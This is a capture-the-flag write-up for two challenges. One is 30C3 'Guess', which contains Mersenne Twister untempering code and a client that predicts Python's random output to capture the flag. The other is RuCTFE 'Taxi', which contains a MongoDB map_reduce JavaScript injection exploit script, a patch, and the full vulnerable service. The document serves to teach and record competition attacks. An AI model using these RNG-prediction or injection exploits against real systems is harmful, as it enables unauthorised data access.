# 30C3 2k13: Numbers - Guess (100 points)

The challenge

Do you like guessing challenges? Yes? This one is especially for you!
guess.tar.gz running on 88.198.89.194:8888

# wget https://30c3ctf.aachen.ccc.de/static/guess.tar.gz
# tar xvzf guess.tar.gz
server.py
# cat server.py
#!/usr/bin/env python2
import socket
import random
import sys
import os
import signal

flag ="foobar"

signal.signal(signal.SIGCHLD, signal.SIG_IGN)
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", 8888))
s.listen(10)
while 1:
        c, _ = s.accept()
        if c is None:
                sys.exit(1)
        if os.fork() == 0:
                del s
                break
        del c

c.sendall("Welcome to this little guessing game!\n")
r = random.Random()
r.seed(os.urandom(16))
guess_limit = 10
guess_right = 0
data = ""
while 1:
        answer = str(r.getrandbits(64))
        c.sendall("You have %d/%d right guesses, whats your next guess? " % (guess_right, guess_limit))
        while "\n" not in data:
                cur = c.recv(4096)
                if not cur:
                        sys.exit(0)
                data += cur
        guess, data = data.split("\n", 1)
        if guess != answer:
                guess_right = 0
                c.sendall("Nope, that was wrong, correct would have been %s...\n" % answer)
                continue
        guess_right += 1
        if guess_right < guess_limit:
                c.sendall("Yes! That was correct, awesome...\n")
                continue
        c.sendall("You did it! The flag is: %s" % flag)
        sys.exit(0)
# cat reverse.py
L = 32
N = 624
M = 397
UM = 2**31
LM = UM - 1

def unBitshiftRightXor(value, shift, mask):
        i = 0
        result = 0
        shiftmask = 2**shift - 1
        while (i * shift) < L:
                partmask = (shiftmask << (L - shift)) >> (shift * i)
                part = value & partmask
                value ^= (part >> shift) & mask
                result |= part
                i += 1
        return result

def BitshiftRightXor(value, shift, mask):
        pmask = (value >> shift) & mask
        result = value ^ pmask
        return result

def unBitshiftLeftXor(value, shift, mask):
        i = 0
        result = 0
        shiftmask = 2**shift - 1
        while (i * shift) < L:
                partmask = shiftmask << (shift * i)
                part = value & partmask
                value ^= (part << shift) & mask
                result |= part
                i += 1
        return result


def BitshiftLeftXor(value, shift, mask):
        pmask = (value << shift) & mask
        result = value ^ pmask
        return result

def untransform(value):
        value = unBitshiftRightXor(value, 18, 0xffffffff)
        value = unBitshiftLeftXor(value,  15, 0xefc60000)
        value = unBitshiftLeftXor(value,   7, 0x9d2c5680)
        value = unBitshiftRightXor(value, 11, 0xffffffff)
        return value

def MTwister(sv, ndx):
        ndx = ndx % N
        y = (sv[ndx] & UM) | (sv[(ndx + 1) % N] & LM)
        sv[ndx] = sv[(ndx + M) % N] ^ (y >> 1)
        if y & 0x1:
                sv[ndx] ^= 0x9908b0df
        rn = sv[ndx]
        rn = BitshiftRightXor(rn, 11, 0xffffffff)
        rn = BitshiftLeftXor(rn,   7, 0x9d2c5680)
        rn = BitshiftLeftXor(rn,  15, 0xefc60000)
        rn = BitshiftRightXor(rn, 18, 0xffffffff)
        return rn

def getrandbits(sv, ndx, bits):
        bytes = ((bits - 1) / 32 + 1) * 4
        mask = 0xff
        r = []
        result = 0
        for i in range(0, bytes, 4):
                random = MTwister(sv, ndx + (i / 4))
                if bits < 32:
                        random = random >> (32 - bits)
                r.append( random        & mask)
                r.append((random >>  8) & mask)
                r.append((random >> 16) & mask)
                r.append((random >> 24) & mask)
                bits = bits - 32
        j = 0
        for b in r:
                result = (b << (8 * j)) | result
                j += 1
        return result, (i / 4) + 1

# getstatebits works OK when bits % 32 == 0
def getstatebits(sv, value, bits):
        bytes = ((bits - 1) / 32 + 1) * 4
        mask = 0xff
        r = []
        for i in range(0, bytes, 4):
                if bits < 32:
                        value = value << (32 - bits)
                j = 32 * (i/4)
                r.append((value >>  j)       & mask)
                r.append((value >> (j +  8)) & mask)
                r.append((value >> (j + 16)) & mask)
                r.append((value >> (j + 24)) & mask)
                bits = bits - 32
                result = 0
                j = 0
                for b in r:
                        result = (b << (8 * j)) | result
                        j += 1
                sv.append(untransform(result))
                del r[:]
        return (i / 4) + 1
# cat guess.py
#!/usr/bin/python

import netlib
import re
import sys
from reverse import *

buffsize = 4096
max_retries = 2
pause = 0.5
timeout = 2

ip    = sys.argv[1]
port  = sys.argv[2]
proto = sys.argv[3]

N = 624
L = 64

sc = netlib.sc(ip, port, proto)
if sc.connect(max_retries, pause):
        data = sc.recv(buffsize, timeout)
        data = sc.recv(buffsize, timeout)
        i = 0
        sv = []
        while i < N:
                if sc.send("\n") == False:
                        sys.exit()
                data = sc.recv(buffsize, timeout)
                answer = re.findall(r'[0-9]{5,}', data)
                for a in answer:
                        r = getstatebits(sv, int(a), L)
                        print i, a
                        i += r
        data = sc.recv(buffsize, timeout)
        mt, r = getrandbits(sv, i, L)
        i += r
        while True:
                mt, r = getrandbits(sv, i, L)
                i += r
                print 'Sending = \'' + str(mt) + '\''
                if sc.send(str(mt) + "\n") == False:
                        sys.exit()
                data = sc.recv(buffsize, timeout)
                print data
# python guess.py 88.198.89.194 8888 tcp
...
You did it! The flag is: 30C3_b9b1579866cccd28b1918302382c9107

Update

# cat guess.py
...
import random
...
        data = sc.recv(buffsize, timeout)
        sv.append(1337)
        r = random.Random()
        r.setstate((3, tuple(sv), None))
        r.getrandbits(L)
        while True:
                n = r.getrandbits(L)
                print 'Sending = \'' + str(n) + '\''
                if sc.send(str(n) + "\n") == False:
                        sys.exit()
                data = sc.recv(buffsize, timeout)
                print data

References

http://en.wikipedia.org/wiki/Mersenne_twister
http://jazzy.id.au/default/2010/09/22/cracking_random_number_generators_part_3.html
http://svn.python.org/view/*checkout*/python/trunk/Modules/_randommodule.c

# RuCTFE 2k13: Taxi

Vulnerable code

# cat taxi.py
...
def get_map_func(admin_name):
    map_f = "function() { if (this.admin == '" + admin_name + "') emit(this.admin, this.amount); }"
    return Code(map_f)


def get_reduce_func():
    reduce_f = "function(key, values) {return Array.sum(values) / 1.1;}"
    return Code(reduce_f)


def mr_test(col, admin_name):
    res = col.map_reduce(get_map_func(admin_name), get_reduce_func(), "res")
    return list(res.find())
...

Exploit

# cat exploit.py
#!/usr/bin/python

import httplib
import urllib
import re
import sys

def taxi_exploit(ip, username):
    port = 8081
    query= '/add_admin/?admin=' + username
    conn = httplib.HTTPConnection(ip, port)
    conn.request('POST', query)
    resp = conn.getresponse()
    hmac = resp.getheader('set-cookie')

    js_injection = urllib.quote_plus("' || true) emit(this.route, 1); if('")
    query= '/amount/?user=' + username + '&admin=' + js_injection
    headers = {"Cookie": hmac}
    conn.request('GET', query, '', headers)
    resp = conn.getresponse()
    data = resp.read()

    conn.close()

    flags = []
    for flag in re.findall('[A-Za-z0-9=]{32}', data):
        flags.append(flag)

    for i in flags:
        print i

ip = sys.argv[1]
username = sys.argv[2]

taxi_exploit(ip, username)
# ./exploit.py 10.23.x.2 `head -c 4 /dev/urandom | xxd -p`

Patch

# cat taxi.py
...
def mr_test(col, admin_name):
    #res = col.map_reduce(get_map_func(admin_name), get_reduce_func(), "res")
    res = col.map_reduce(get_map_func(re.sub(r"'", "", admin_name)), get_reduce_func(), "res")
    return list(res.find())
...

Complete code

# cat taxi.py
#!/usr/bin/python
import urlparse
import os
import random
import string
import hmac
import hashlib
import os.path
import json
import re

from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from pymongo import collection
from pymongo import Connection
from datetime import datetime
from bson.code import Code

DBNAME = 'taxi'
COLNAME = 'orders'
USERS = 'users'
KEY_FILE = 'key'


def connect_db(dbname):
    c = Connection()
    return c[dbname]

def generate_id():
    abc = string.ascii_lowercase + string.digits
    res = ''.join(random.choice(abc) for i in range(4))
    res += "-"
    res += ''.join(random.choice(abc) for i in range(4))
    res += "-"
    res += ''.join(random.choice(abc) for i in range(4))
    return res


def add(amount, admin, user, route, col):
    generated_id = generate_id()
    return add_by_id(generated_id, amount, admin, user, route, col)


def add_by_id(id, amount, admin, user, route, col):
    rid = col.insert(
        {"_id": id, "date": datetime.now(), "amount": amount, "admin": admin, "user": user, "route": route})
    print rid
    return rid


def get_by_id(id, col):
    found = col.find_one({"_id": id})
    return dict(found)


def get_map_func(admin_name):
    map_f = "function() { if (this.admin == '" + admin_name + "') emit(this.admin, this.amount); }"
    return Code(map_f)


def get_reduce_func():
    reduce_f = "function(key, values) {return Array.sum(values) / 1.1;}"
    return Code(reduce_f)


def mr_test(col, admin_name):
    #res = col.map_reduce(get_map_func(admin_name), get_reduce_func(), "res")
    res = col.map_reduce(get_map_func(re.sub(r"'", "", admin_name)), get_reduce_func(), "res")
    return list(res.find())


def view_all(col, admin_name):
    res = col.find({"admin": admin_name}).sort("date")
    return list(res)


def r_replace(s, old, new, occurrence):
    li = s.rsplit(old, occurrence)
    return new.join(li)


def dict_to_str(dic):
    d = {}
    for i in dic:
        d[i] = str(dic[i])
    return json.dumps(d)


def try_create_user(query, db):
    try:
        p = urlparse.parse_qs(query)
        admin = p['admin'][0]
        user = p['user'][0]
        col = collection.Collection(db, USERS)
        admin_exists = col.find_one({"admin": admin})
        if admin_exists is None:
            return "Admin does not  exist", ""
        user_exists = col.find_one({"user": user})
        if user_exists is not None:
            return "User already exists", ""
        id = col.insert({"admin": admin, "user": user})
        if id:
            return "Success", user
        else:
            return "Can't create new user", ""
    except KeyError:
        return "You have to set [admin], [user] and [pswd] parameters in order to register new user", ""


def try_create_admin(query, db):
    try:
        p = urlparse.parse_qs(query)
        admin = p['admin'][0]
        col = collection.Collection(db, USERS)
        admin_exists = col.find_one({"admin": admin})
        if admin_exists is not None:
            return "Admin already exists", ""
        id = col.insert({"admin": admin, "user": admin})
        if id:
            return "Success", admin
        else:
            return "Can't create new admin", ""
    except KeyError:
        return "You have to set [admin] parameter in order to register new admin", ""


def get_hmac(message):
    try:
        key = file(KEY_FILE).read()
        return hmac.new(key, message, digestmod=hashlib.sha1).hexdigest()
    except:
        return None


class MonHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        try:
            parsed = urlparse.urlparse(self.path)
            action = os.path.split(parsed.path)[0]
            action = action.replace('/', '')
            print action
            p = urlparse.parse_qs(parsed.query)
            user = p['user'][0]

            db = connect_db(DBNAME)
            col = collection.Collection(db, COLNAME)

            if 'cookie' not in self.headers:
                print "no cookie sent"
                self.send_error(401)
                return
            print self.headers['cookie']
            c = self.headers['cookie']
            r = re.search("hm=([^;]+)", c)
            if not r:
                print "no hmac sent"
                self.send_error(401)
                return

            h_mac = r.group(1)

            if h_mac != get_hmac(user):
                self.send_error(401)
                return

            if action == 'route':
                if 'id' in p:
                    r_id = p['id'][0]
                    res = get_by_id(r_id, col)
                    result_doc = dict_to_str(res)
                    self.send_response(200)
                    self.send_header('Content-type', 'text-html')
                    self.end_headers()
                    self.wfile.write(result_doc)
                    return
                else:
                    self.send_response(400)
                    return
            elif action == 'routes':
                admin = p['admin'][0]
                result_doc = view_all(col, admin)
            elif action == 'amount':
                admin = p['admin'][0]
                result_doc = mr_test(col, admin)
                print result_doc
            else:
                self.send_response(405)
                return

            self.send_response(200)
            self.send_header('Content-type', 'text-html')
            self.end_headers()
            for doc in result_doc:
                self.wfile.write(json.dumps(doc))
                self.wfile.write("\n")
            return

        except Exception as e:
            print str(e)
            self.send_error(404)

    def do_POST(self):
        try:
            parsed = urlparse.urlparse(self.path)
            action = os.path.split(parsed.path)[0]
            action = action.replace('/', '')
            print action
            db = connect_db(DBNAME)
            col = collection.Collection(db, COLNAME)

            if action == 'add_user':
                res, user = try_create_user(parsed.query, db)
                if res == "Success":
                    self.send_response(200)
                    self.send_header('Set-Cookie', 'hm=' + get_hmac(user))
                    self.end_headers()
                else:
                    self.send_error(400)
                    self.wfile.write(res)
                return
            elif action == 'add_admin':
                res, admin = try_create_admin(parsed.query, db)
                if res == "Success":
                    self.send_response(200)
                    self.send_header('Set-Cookie', 'hm=' + get_hmac(admin))
                    self.end_headers()
                else:
                    self.send_error(400)
                    self.wfile.write(res)
                return
            elif action == 'add_route':
                if 'cookie' not in self.headers:
                    print "no cookie sent"
                    self.send_error(401)
                    return
                print self.headers['cookie']
                c = self.headers['cookie']
                r = re.search("hm=([^;]+)", c)
                if not r:
                    print "no hmac sent"
                    self.send_error(401)
                    return

                h_mac = r.group(1)
                p = urlparse.parse_qs(parsed.query)
                user = p['user'][0]

                if h_mac != get_hmac(user):
                    self.send_error(401)
                    return

                try:
                    amount = float(p['amount'][0])
                except ValueError:
                    self.send_response(400)
                    return

                admin = p['admin'][0]
                route = p['route'][0]
                o_id = p.get('id', [""])[0]
                print "params: " + o_id + "; " + str(amount)
                if o_id == "":
                    result = add(amount, admin, user, route, col)
                else:
                    result = add_by_id(o_id, amount, admin, user, route, col)
                self.send_header('Content-type', 'text-html')
                self.end_headers()
                self.wfile.write(result)
                if result is not None:
                    self.send_response(200)
                else:
                    self.send_error(501)
                return
            else:
                self.send_error(405)
                return

        except Exception as e:
            print str(e)
            self.send_error(500)


def gen_key_if_not_exists():
    if os.path.isfile(KEY_FILE):
        return
    length = 256
    chars = string.ascii_letters + string.digits + '!@#$%^&*()'
    random.seed = (os.urandom(1024))
    key = ''.join(random.choice(chars) for i in range(length))
    try:
        open(KEY_FILE, 'w').write(key)
    except:
        print "Can't create key file"
        return


def run():
    print 'taxi service is starting...'
    server_address = ('0.0.0.0', 8081)
    httpd = HTTPServer(server_address, MonHTTPRequestHandler)
    print 'Welcome to our taxi service!'
    print 'You can order trips, view your users\' routes and monitor your riding costs'
    print 'Please notice that we charge you extra 10% VAT according to our Ural state laws'
    gen_key_if_not_exists()
    httpd.serve_forever()


if __name__ == '__main__':
    run()